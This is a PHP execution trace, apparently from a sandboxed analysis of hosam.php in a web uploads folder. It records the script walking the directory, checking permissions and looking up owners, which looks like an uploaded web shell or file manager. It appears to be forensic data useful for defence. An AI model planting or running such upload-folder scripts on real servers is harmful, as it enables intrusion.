4	61	0	0.004103	779312	filemtime	0		/var/www/html/uploads/hosam.php	790	1	'/var/www/html/uploads/..'
4	61	1	0.004116	779352
4	61	R			1676254317
4	62	0	0.004129	779312	fileatime	0		/var/www/html/uploads/hosam.php	791	1	'/var/www/html/uploads/..'
4	62	1	0.004146	779352
4	62	R			1676254317
4	63	0	0.004159	779312	filectime	0		/var/www/html/uploads/hosam.php	792	1	'/var/www/html/uploads/..'
4	63	1	0.004172	779352
4	63	R			1676254317
3		A						/var/www/html/uploads/hosam.php	792	$file = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317]
4	64	0	0.004211	779368	file_exists	0		/var/www/html/uploads/hosam.php	796	1	'/var/www/html/uploads/../.'
4	64	1	0.004226	779408
4	64	R			TRUE
3		A						/var/www/html/uploads/hosam.php	796	$file['is_executable'] = TRUE
4	65	0	0.004255	779312	function_exists	0		/var/www/html/uploads/hosam.php	807	1	'posix_getpwuid'
4	65	1	0.004269	779352
4	65	R			TRUE
4	66	0	0.004282	779312	posix_getpwuid	0		/var/www/html/uploads/hosam.php	807	1	0
4	66	1	0.004323	780112
4	66	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	67	0	0.004349	780080	reset	0		/var/www/html/uploads/hosam.php	807	1	['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	67	1	0.004369	780488
4	67	R			'root'
3		A						/var/www/html/uploads/hosam.php	807	$file['owner_name'] = 'root'
4	68	0	0.004395	779344	function_exists	0		/var/www/html/uploads/hosam.php	808	1	'posix_getgrgid'
4	68	1	0.004408	779384
4	68	R			TRUE
4	69	0	0.004421	779344	posix_getgrgid	0		/var/www/html/uploads/hosam.php	808	1	0
4	69	1	0.004445	780000
4	69	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	70	0	0.004466	779968	reset	0		/var/www/html/uploads/hosam.php	808	1	['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	70	1	0.004482	780376
4	70	R			'root'
3		A						/var/www/html/uploads/hosam.php	808	$file['group_name'] = 'root'
3		A						/var/www/html/uploads/hosam.php	810	$files[] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	71	0	0.004536	780392	readdir	0		/var/www/html/uploads/hosam.php	772	1	resource(4) of type (stream)
4	71	1	0.004551	780464
4	71	R			'.'
3		A						/var/www/html/uploads/hosam.php	772	$filename = '.'
3		A						/var/www/html/uploads/hosam.php	774	$path = '/var/www/html/uploads/.'
4	72	0	0.004584	780472	lstat	0		/var/www/html/uploads/hosam.php	776	1	'/var/www/html/uploads/.'
4	72	1	0.004600	782256
4	72	R			[0 => 2049, 1 => 524475, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524475, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 8]
3		A						/var/www/html/uploads/hosam.php	776	$stat = [0 => 2049, 1 => 524475, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524475, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 8]
4	73	0	0.004661	781160	is_file	0		/var/www/html/uploads/hosam.php	781	1	'/var/www/html/uploads/.'
4	73	1	0.004676	781192
4	73	R			FALSE
4	74	0	0.004689	781152	is_dir	0		/var/www/html/uploads/hosam.php	782	1	'/var/www/html/uploads/.'
4	74	1	0.004701	781192
4	74	R			TRUE
4	75	0	0.004714	781152	is_link	0		/var/www/html/uploads/hosam.php	783	1	'/var/www/html/uploads/.'
4	75	1	0.004726	781192
4	75	R			FALSE
4	76	0	0.004739	781152	is_readable	0		/var/www/html/uploads/hosam.php	784	1	'/var/www/html/uploads/.'
4	76	1	0.004754	781192
4	76	R			TRUE
4	77	0	0.004767	781152	is_writable	0		/var/www/html/uploads/hosam.php	785	1	'/var/www/html/uploads/.'
4	77	1	0.004781	781192
4	77	R			TRUE
4	78	0	0.004794	781152	filemtime	0		/var/www/html/uploads/hosam.php	790	1	'/var/www/html/uploads/.'
4	78	1	0.004807	781192
4	78	R			1676254317
4	79	0	0.004820	781152	fileatime	0		/var/www/html/uploads/hosam.php	791	1	'/var/www/html/uploads/.'
4	79	1	0.004833	781192
4	79	R			1676254317
4	80	0	0.004846	781152	filectime	0		/var/www/html/uploads/hosam.php	792	1	'/var/www/html/uploads/.'
4	80	1	0.004858	781192
4	80	R			1676254317
3		A						/var/www/html/uploads/hosam.php	792	$file = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317]
4	81	0	0.004900	781208	file_exists	0		/var/www/html/uploads/hosam.php	796	1	'/var/www/html/uploads/./.'
4	81	1	0.004915	781248
4	81	R			TRUE
3		A						/var/www/html/uploads/hosam.php	796	$file['is_executable'] = TRUE
4	82	0	0.004941	781152	function_exists	0		/var/www/html/uploads/hosam.php	807	1	'posix_getpwuid'
4	82	1	0.004954	781192
4	82	R			TRUE
4	83	0	0.004966	781152	posix_getpwuid	0		/var/www/html/uploads/hosam.php	807	1	0
4	83	1	0.004990	781952
4	83	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	84	0	0.005013	781920	reset	0		/var/www/html/uploads/hosam.php	807	1	['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	84	1	0.005032	782328
4	84	R			'root'
3		A						/var/www/html/uploads/hosam.php	807	$file['owner_name'] = 'root'
4	85	0	0.005057	781184	function_exists	0		/var/www/html/uploads/hosam.php	808	1	'posix_getgrgid'
4	85	1	0.005070	781224
4	85	R			TRUE
4	86	0	0.005083	781184	posix_getgrgid	0		/var/www/html/uploads/hosam.php	808	1	0
4	86	1	0.005104	781840
4	86	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	87	0	0.005123	781808	reset	0		/var/www/html/uploads/hosam.php	808	1	['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	87	1	0.005140	782216
4	87	R			'root'
3		A						/var/www/html/uploads/hosam.php	808	$file['group_name'] = 'root'
3		A						/var/www/html/uploads/hosam.php	810	$files[] = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	88	0	0.005192	781856	readdir	0		/var/www/html/uploads/hosam.php	772	1	resource(4) of type (stream)
4	88	1	0.005206	781936
4	88	R			'prepend.php'
3		A						/var/www/html/uploads/hosam.php	772	$filename = 'prepend.php'
3		A						/var/www/html/uploads/hosam.php	774	$path = '/var/www/html/uploads/prepend.php'
4	89	0	0.005242	781960	lstat	0		/var/www/html/uploads/hosam.php	776	1	'/var/www/html/uploads/prepend.php'
4	89	1	0.005259	783768
4	89	R			[0 => 2049, 1 => 524479, 2 => 33261, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 57, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524479, 'mode' => 33261, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 57, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 8]
3		A						/var/www/html/uploads/hosam.php	776	$stat = [0 => 2049, 1 => 524479, 2 => 33261, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 57, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524479, 'mode' => 33261, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 57, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 8]
4	90	0	0.005321	782672	is_file	0		/var/www/html/uploads/hosam.php	781	1	'/var/www/html/uploads/prepend.php'
4	90	1	0.005337	782728
4	90	R			TRUE
4	91	0	0.005350	782688	is_dir	0		/var/www/html/uploads/hosam.php	782	1	'/var/www/html/uploads/prepend.php'
4	91	1	0.005363	782728
4	91	R			FALSE
4	92	0	0.005376	782688	is_link	0		/var/www/html/uploads/hosam.php	783	1	'/var/www/html/uploads/prepend.php'
4	92	1	0.005389	782728
4	92	R			FALSE
4	93	0	0.005402	782688	is_readable	0		/var/www/html/uploads/hosam.php	784	1	'/var/www/html/uploads/prepend.php'
4	93	1	0.005418	782728
4	93	R			TRUE
4	94	0	0.005431	782688	is_writable	0		/var/www/html/uploads/hosam.php	785	1	'/var/www/html/uploads/prepend.php'
4	94	1	0.005446	782728
4	94	R			FALSE
4	95	0	0.005460	782688	filemtime	0		/var/www/html/uploads/hosam.php	790	1	'/var/www/html/uploads/prepend.php'
4	95	1	0.005473	782728
4	95	R			1676254317
4	96	0	0.005486	782688	fileatime	0		/var/www/html/uploads/hosam.php	791	1	'/var/www/html/uploads/prepend.php'
4	96	1	0.005498	782728
4	96	R			1676254317
4	97	0	0.005511	782688	filectime	0		/var/www/html/uploads/hosam.php	792	1	'/var/www/html/uploads/prepend.php'
4	97	1	0.005523	782728
4	97	R			1676254317
3		A						/var/www/html/uploads/hosam.php	792	$file = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317]
4	98	0	0.005562	782688	is_executable	0		/var/www/html/uploads/hosam.php	799	1	'/var/www/html/uploads/prepend.php'
4	98	1	0.005578	782728
4	98	R			TRUE
3		A						/var/www/html/uploads/hosam.php	799	$file['is_executable'] = TRUE
4	99	0	0.005603	782688	function_exists	0		/var/www/html/uploads/hosam.php	807	1	'posix_getpwuid'
4	99	1	0.005616	782728
4	99	R			TRUE
4	100	0	0.005632	782688	posix_getpwuid	0		/var/www/html/uploads/hosam.php	807	1	0
4	100	1	0.005655	783488
4	100	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	101	0	0.005679	783456	reset	0		/var/www/html/uploads/hosam.php	807	1	['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	101	1	0.005698	783864
4	101	R			'root'
3		A						/var/www/html/uploads/hosam.php	807	$file['owner_name'] = 'root'
4	102	0	0.005723	782720	function_exists	0		/var/www/html/uploads/hosam.php	808	1	'posix_getgrgid'
4	102	1	0.005737	782760
4	102	R			TRUE
4	103	0	0.005750	782720	posix_getgrgid	0		/var/www/html/uploads/hosam.php	808	1	0
4	103	1	0.005771	783376
4	103	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	104	0	0.005791	783344	reset	0		/var/www/html/uploads/hosam.php	808	1	['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	104	1	0.005807	783752
4	104	R			'root'
3		A						/var/www/html/uploads/hosam.php	808	$file['group_name'] = 'root'
3		A						/var/www/html/uploads/hosam.php	810	$files[] = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	105	0	0.005860	783392	readdir	0		/var/www/html/uploads/hosam.php	772	1	resource(4) of type (stream)
4	105	1	0.005874	783472
4	105	R			'hosam.php'
3		A						/var/www/html/uploads/hosam.php	772	$filename = 'hosam.php'
3		A						/var/www/html/uploads/hosam.php	774	$path = '/var/www/html/uploads/hosam.php'
4	106	0	0.005909	783488	lstat	0		/var/www/html/uploads/hosam.php	776	1	'/var/www/html/uploads/hosam.php'
4	106	1	0.005925	785272
4	106	R			[0 => 2049, 1 => 524480, 2 => 33204, 3 => 1, 4 => 1000, 5 => 1000, 6 => 0, 7 => 68561, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 136, 'dev' => 2049, 'ino' => 524480, 'mode' => 33204, 'nlink' => 1, 'uid' => 1000, 'gid' => 1000, 'rdev' => 0, 'size' => 68561, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 136]
3		A						/var/www/html/uploads/hosam.php	776	$stat = [0 => 2049, 1 => 524480, 2 => 33204, 3 => 1, 4 => 1000, 5 => 1000, 6 => 0, 7 => 68561, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 136, 'dev' => 2049, 'ino' => 524480, 'mode' => 33204, 'nlink' => 1, 'uid' => 1000, 'gid' => 1000, 'rdev' => 0, 'size' => 68561, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 136]
4	107	0	0.005988	784176	is_file	0		/var/www/html/uploads/hosam.php	781	1	'/var/www/html/uploads/hosam.php'
4	107	1	0.006002	784208
4	107	R			TRUE
4	108	0	0.006015	784168	is_dir	0		/var/www/html/uploads/hosam.php	782	1	'/var/www/html/uploads/hosam.php'
4	108	1	0.006027	784208
4	108	R			FALSE
4	109	0	0.006039	784168	is_link	0		/var/www/html/uploads/hosam.php	783	1	'/var/www/html/uploads/hosam.php'
4	109	1	0.006051	784208
4	109	R			FALSE
4	110	0	0.006064	784168	is_readable	0		/var/www/html/uploads/hosam.php	784	1	'/var/www/html/uploads/hosam.php'
4	110	1	0.006078	784208
4	110	R			TRUE
4	111	0	0.006091	784168	is_writable	0		/var/www/html/uploads/hosam.php	785	1	'/var/www/html/uploads/hosam.php'
4	111	1	0.006106	784208
4	111	R			FALSE
4	112	0	0.006119	784168	filemtime	0		/var/www/html/uploads/hosam.php	790	1	'/var/www/html/uploads/hosam.php'
4	112	1	0.006132	784208
4	112	R			1676254317
4	113	0	0.006145	784168	fileatime	0		/var/www/html/uploads/hosam.php	791	1	'/var/www/html/uploads/hosam.php'
4	113	1	0.006158	784208
4	113	R			1676254317
4	114	0	0.006170	784168	filectime	0		/var/www/html/uploads/hosam.php	792	1	'/var/www/html/uploads/hosam.php'
4	114	1	0.006182	784208
4	114	R			1676254317
3		A						/var/www/html/uploads/hosam.php	792	$file = ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317]
4	115	0	0.006221	784168	is_executable	0		/var/www/html/uploads/hosam.php	799	1	'/var/www/html/uploads/hosam.php'
4	115	1	0.006236	784208
4	115	R			FALSE
3		A						/var/www/html/uploads/hosam.php	799	$file['is_executable'] = FALSE
4	116	0	0.006262	784168	function_exists	0		/var/www/html/uploads/hosam.php	807	1	'posix_getpwuid'
4	116	1	0.006275	784208
4	116	R			TRUE
4	117	0	0.006287	784168	posix_getpwuid	0		/var/www/html/uploads/hosam.php	807	1	1000
4	117	1	0.006317	784984
4	117	R			['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4	118	0	0.006352	784952	reset	0		/var/www/html/uploads/hosam.php	807	1	['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4	118	1	0.006381	785360
4	118	R			'osboxes'
3		A						/var/www/html/uploads/hosam.php	807	$file['owner_name'] = 'osboxes'
4	119	0	0.006408	784200	function_exists	0		/var/www/html/uploads/hosam.php	808	1	'posix_getgrgid'
4	119	1	0.006421	784240
4	119	R			TRUE
4	120	0	0.006434	784200	posix_getgrgid	0		/var/www/html/uploads/hosam.php	808	1	1000
4	120	1	0.006467	784856
4	120	R			['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4	121	0	0.006487	784824	reset	0		/var/www/html/uploads/hosam.php	808	1	['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4	121	1	0.006504	785232
4	121	R			'osboxes'
3		A						/var/www/html/uploads/hosam.php	808	$file['group_name'] = 'osboxes'
3		A						/var/www/html/uploads/hosam.php	810	$files[] = ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
4	122	0	0.006569	784872	readdir	0		/var/www/html/uploads/hosam.php	772	1	resource(4) of type (stream)
4	122	1	0.006584	784944
4	122	R			'data'
3		A						/var/www/html/uploads/hosam.php	772	$filename = 'data'
3		A						/var/www/html/uploads/hosam.php	774	$path = '/var/www/html/uploads/data'
4	123	0	0.006618	784960	lstat	0		/var/www/html/uploads/hosam.php	776	1	'/var/www/html/uploads/data'
4	123	1	0.006635	786752
4	123	R			[0 => 2049, 1 => 524476, 2 => 16895, 3 => 2, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524476, 'mode' => 16895, 'nlink' => 2, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 8]
3		A						/var/www/html/uploads/hosam.php	776	$stat = [0 => 2049, 1 => 524476, 2 => 16895, 3 => 2, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524476, 'mode' => 16895, 'nlink' => 2, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 8]
4	124	0	0.006767	785656	is_file	0		/var/www/html/uploads/hosam.php	781	1	'/var/www/html/uploads/data'
4	124	1	0.006784	785696
4	124	R			FALSE
4	125	0	0.006798	785656	is_dir	0		/var/www/html/uploads/hosam.php	782	1	'/var/www/html/uploads/data'
4	125	1	0.006811	785696
4	125	R			TRUE
4	126	0	0.006824	785656	is_link	0		/var/www/html/uploads/hosam.php	783	1	'/var/www/html/uploads/data'
4	126	1	0.006837	785696
4	126	R			FALSE
4	127	0	0.006850	785656	is_readable	0		/var/www/html/uploads/hosam.php	784	1	'/var/www/html/uploads/data'
4	127	1	0.006867	785696
4	127	R			TRUE
4	128	0	0.006880	785656	is_writable	0		/var/www/html/uploads/hosam.php	785	1	'/var/www/html/uploads/data'
4	128	1	0.006895	785696
4	128	R			TRUE
4	129	0	0.006908	785656	filemtime	0		/var/www/html/uploads/hosam.php	790	1	'/var/www/html/uploads/data'
4	129	1	0.006921	785696
4	129	R			1676254317
4	130	0	0.006934	785656	fileatime	0		/var/www/html/uploads/hosam.php	791	1	'/var/www/html/uploads/data'
4	130	1	0.006946	785696
4	130	R			1676254317
4	131	0	0.006959	785656	filectime	0		/var/www/html/uploads/hosam.php	792	1	'/var/www/html/uploads/data'
4	131	1	0.006972	785696
4	131	R			1676254317
3		A						/var/www/html/uploads/hosam.php	792	$file = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317]
4	132	0	0.007011	785712	file_exists	0		/var/www/html/uploads/hosam.php	796	1	'/var/www/html/uploads/data/.'
4	132	1	0.007027	785752
4	132	R			TRUE
3		A						/var/www/html/uploads/hosam.php	796	$file['is_executable'] = TRUE
4	133	0	0.007052	785656	function_exists	0		/var/www/html/uploads/hosam.php	807	1	'posix_getpwuid'
4	133	1	0.007066	785696
4	133	R			TRUE
4	134	0	0.007078	785656	posix_getpwuid	0		/var/www/html/uploads/hosam.php	807	1	0
4	134	1	0.007103	786456
4	134	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	135	0	0.007126	786424	reset	0		/var/www/html/uploads/hosam.php	807	1	['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	135	1	0.007146	786832
4	135	R			'root'
3		A						/var/www/html/uploads/hosam.php	807	$file['owner_name'] = 'root'
4	136	0	0.007172	785688	function_exists	0		/var/www/html/uploads/hosam.php	808	1	'posix_getgrgid'
4	136	1	0.007185	785728
4	136	R			TRUE
4	137	0	0.007197	785688	posix_getgrgid	0		/var/www/html/uploads/hosam.php	808	1	0
4	137	1	0.007224	786344
4	137	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	138	0	0.007245	786312	reset	0		/var/www/html/uploads/hosam.php	808	1	['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	138	1	0.007261	786720
4	138	R			'root'
3		A						/var/www/html/uploads/hosam.php	808	$file['group_name'] = 'root'
3		A						/var/www/html/uploads/hosam.php	810	$files[] = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	139	0	0.007313	786360	readdir	0		/var/www/html/uploads/hosam.php	772	1	resource(4) of type (stream)
4	139	1	0.007327	786440
4	139	R			'.htaccess'
3		A						/var/www/html/uploads/hosam.php	772	$filename = '.htaccess'
3		A						/var/www/html/uploads/hosam.php	774	$path = '/var/www/html/uploads/.htaccess'
4	140	0	0.007362	786456	lstat	0		/var/www/html/uploads/hosam.php	776	1	'/var/www/html/uploads/.htaccess'
4	140	1	0.007379	788248
4	140	R			[0 => 2049, 1 => 524478, 2 => 33188, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 64, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524478, 'mode' => 33188, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 64, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 8]
3		A						/var/www/html/uploads/hosam.php	776	$stat = [0 => 2049, 1 => 524478, 2 => 33188, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 64, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524478, 'mode' => 33188, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 64, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 8]
4	141	0	0.007441	787152	is_file	0		/var/www/html/uploads/hosam.php	781	1	'/var/www/html/uploads/.htaccess'
4	141	1	0.007456	787192
4	141	R			TRUE
4	142	0	0.007468	787152	is_dir	0		/var/www/html/uploads/hosam.php	782	1	'/var/www/html/uploads/.htaccess'
4	142	1	0.007481	787192
4	142	R			FALSE
4	143	0	0.007494	787152	is_link	0		/var/www/html/uploads/hosam.php	783	1	'/var/www/html/uploads/.htaccess'
4	143	1	0.007507	787192
4	143	R			FALSE
4	144	0	0.007519	787152	is_readable	0		/var/www/html/uploads/hosam.php	784	1	'/var/www/html/uploads/.htaccess'
4	144	1	0.007534	787192
4	144	R			TRUE
4	145	0	0.007547	787152	is_writable	0		/var/www/html/uploads/hosam.php	785	1	'/var/www/html/uploads/.htaccess'
4	145	1	0.007570	787192
4	145	R			FALSE
4	146	0	0.007589	787152	filemtime	0		/var/www/html/uploads/hosam.php	790	1	'/var/www/html/uploads/.htaccess'
4	146	1	0.007608	787192
4	146	R			1676254317
4	147	0	0.007627	787152	fileatime	0		/var/www/html/uploads/hosam.php	791	1	'/var/www/html/uploads/.htaccess'
4	147	1	0.007647	787192
4	147	R			1676254317
4	148	0	0.007666	787152	filectime	0		/var/www/html/uploads/hosam.php	792	1	'/var/www/html/uploads/.htaccess'
4	148	1	0.007683	787192
4	148	R			1676254317
3		A						/var/www/html/uploads/hosam.php	792	$file = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317]
4	149	0	0.007723	787152	is_executable	0		/var/www/html/uploads/hosam.php	799	1	'/var/www/html/uploads/.htaccess'
4	149	1	0.007740	787192
4	149	R			FALSE
3		A						/var/www/html/uploads/hosam.php	799	$file['is_executable'] = FALSE
4	150	0	0.007765	787152	function_exists	0		/var/www/html/uploads/hosam.php	807	1	'posix_getpwuid'
4	150	1	0.007779	787192
4	150	R			TRUE
4	151	0	0.007792	787152	posix_getpwuid	0		/var/www/html/uploads/hosam.php	807	1	0
4	151	1	0.007816	787952
4	151	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	152	0	0.007840	787920	reset	0		/var/www/html/uploads/hosam.php	807	1	['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	152	1	0.007859	788328
4	152	R			'root'
3		A						/var/www/html/uploads/hosam.php	807	$file['owner_name'] = 'root'
4	153	0	0.007884	787184	function_exists	0		/var/www/html/uploads/hosam.php	808	1	'posix_getgrgid'
4	153	1	0.007898	787224
4	153	R			TRUE
4	154	0	0.007911	787184	posix_getgrgid	0		/var/www/html/uploads/hosam.php	808	1	0
4	154	1	0.007932	787840
4	154	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	155	0	0.007952	787808	reset	0		/var/www/html/uploads/hosam.php	808	1	['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	155	1	0.007968	788216
4	155	R			'root'
3		A						/var/www/html/uploads/hosam.php	808	$file['group_name'] = 'root'
